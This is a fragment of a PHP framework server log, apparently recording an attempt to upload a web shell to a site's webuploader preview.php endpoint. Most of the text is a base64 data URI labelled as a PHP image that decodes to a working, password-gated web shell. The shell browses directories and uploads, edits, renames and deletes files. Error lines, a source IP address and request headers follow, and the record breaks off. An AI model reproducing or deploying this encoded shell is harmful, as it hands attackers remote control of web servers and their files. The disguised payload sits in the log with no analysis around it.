'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:05:12+08:00 ] 116.213.36.234 POST 51tianwei.com/style/admin/plugins/webuploader/0.1.15/server/preview.php [运行时间:0.002569s] [吞吐率:389.23req/s] [内存消耗:196.72kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'style', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 